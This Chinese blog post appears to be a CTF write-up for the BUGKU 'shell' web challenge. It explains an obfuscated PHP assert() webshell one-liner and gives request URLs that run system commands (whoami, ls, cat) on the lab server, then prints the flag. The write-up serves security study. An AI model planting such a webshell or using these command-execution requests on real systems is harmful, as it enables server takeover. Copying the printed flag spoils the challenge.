当前位置: 首页 > news >正文

BUGKU-WEB shell

题目描述

题目截图如下:
在这里插入图片描述
描述:

 $poc = "a#s#s#e#r#t";$poc_1 = explode("#", $poc);$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];$poc_2($_GET['s'])

进入场景看看:是一个空白的界面
在这里插入图片描述

解题思路

  • 代码审计

相关工具

解题步骤

  1. 审计提示中的代码
 $poc = "a#s#s#e#r#t"; # 定义了一个名为POC的变量$poc_1 = explode("#", $poc); # 使用了PHP中的ecplode函数,作用是按照指定的分割符#对变量字符串进行分割,分割后是一个数组$poc_2 = $poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 将分割后的数组内容进行拼接,显然是一个单词assert$poc_2($_GET['s'])# 将拼接后的字符串 $poc_2 作为函数名,也就是assert()函数# $_GET[] 表示使用的是get请求,传入一个名为s的参数,然后将这个参数值作为assert函数的内容
  1. 得到初步的POC:
http://114.67.175.224:17986/?s=

然后简单测试一下system函数进行输出:

http://114.67.175.224:17986/?s=system(%22whoami%22)

在这里插入图片描述
执行成功,然后就是找flag,怎么知道flag在哪里呢?当然是先遍历一下,也就是ls:

http://114.67.175.224:17986/?s=system(ls)

在这里插入图片描述
发现2个文件,其中一个直接显示flag的txt文件,那就是它了,如何显示这个文件的内容呢?直接访问就可以啦

http://114.67.175.224:17986/flaga15808abee46a1d5.txt

在这里插入图片描述
也可以直接使用cat命令访问:

http://114.67.175.224:17986/?s=system(%22cat%20flaga15808abee46a1d5.txt%22)

在这里插入图片描述

除此外,还可以使用
在这里插入图片描述

得到Flag

flag{dcad944287da8b741c17bcf4263149e8}

在这里插入图片描述

新知识点

  • PHP explode() 函数
    在这里插入图片描述
  • assert()函数:直接将传入的参数当成PHP代码直接执行
    在这里插入图片描述

参考链接

  1. php assert执行命令,php中代码执行&&命令执行函数
  2. Bugku-CTF-shell-过狗一句话

有用的话,请点赞收藏评论,帮助更多的同学哦

相关文章:

  • Vector Magic:高效图像矢量化工具,轻松实现图片转矢量
  • PTA L2-021 点赞狂魔
  • 众生度尽,方证菩提,地狱不空,誓不成佛;男人一定要帅,像地藏王菩萨一样
  • 张宇高数一学习笔记-第一讲-函数极限与连续(1)
  • 移除元素(leetcode)
  • HarmonyOS NEXT应用开发之大文件拷贝案例
  • 提升零售行业竞争力的信息抽取技术应用与实践
  • 深入挖掘C语言之——枚举
  • [Linux] 进程间通信基础
  • Java安全 反序列化(1) URLDNS链原理分析
  • Linux下使用ntpdate进行时间同步
  • 代码随想录训练营第48天 | LeetCode 121. 买卖股票的最佳时机、​​​​​​LeetCode 122.买卖股票的最佳时机II
  • 【Linux】进程优先级
  • 【工具】Mermaid + 大模型画流程图
  • 第十三届蓝桥杯省赛CC++ 研究生组
  • #Java异常处理
  • [NodeJS] 关于Buffer
  • 5分钟即可掌握的前端高效利器:JavaScript 策略模式
  • axios请求、和返回数据拦截,统一请求报错提示_012
  • Docker容器管理
  • ECMAScript入门(七)--Module语法
  • ES6核心特性
  • JavaScript设计模式之工厂模式
  • LintCode 31. partitionArray 数组划分
  • Quartz实现数据同步 | 从0开始构建SpringCloud微服务(3)
  • SAP云平台里Global Account和Sub Account的关系
  • scala基础语法(二)
  • Vue.js-Day01
  • Vue.js源码(2):初探List Rendering
  • vue总结
  • 从零开始的无人驾驶 1
  • 多线程事务回滚
  • 入门级的git使用指北
  • 使用SAX解析XML
  • 事件委托的小应用
  • 推荐一个React的管理后台框架
  • 400多位云计算专家和开发者,加入了同一个组织 ...
  • Prometheus VS InfluxDB
  • ​sqlite3 --- SQLite 数据库 DB-API 2.0 接口模块​
  • # 睡眠3秒_床上这样睡觉的人,睡眠质量多半不好
  • #1014 : Trie树
  • #快捷键# 大学四年我常用的软件快捷键大全,教你成为电脑高手!!
  • (HAL)STM32F103C6T8——软件模拟I2C驱动0.96寸OLED屏幕
  • (Redis使用系列) SpringBoot 中对应2.0.x版本的Redis配置 一
  • (八)Spring源码解析:Spring MVC
  • (办公)springboot配置aop处理请求.
  • (待修改)PyG安装步骤
  • (二)基于wpr_simulation 的Ros机器人运动控制,gazebo仿真
  • (每日持续更新)jdk api之FileReader基础、应用、实战
  • (原創) X61用戶,小心你的上蓋!! (NB) (ThinkPad) (X61)
  • (原創) 人會胖會瘦,都是自我要求的結果 (日記)
  • (转载)跟我一起学习VIM - The Life Changing Editor
  • *(长期更新)软考网络工程师学习笔记——Section 22 无线局域网
  • *上位机的定义
  • .NET CORE 第一节 创建基本的 asp.net core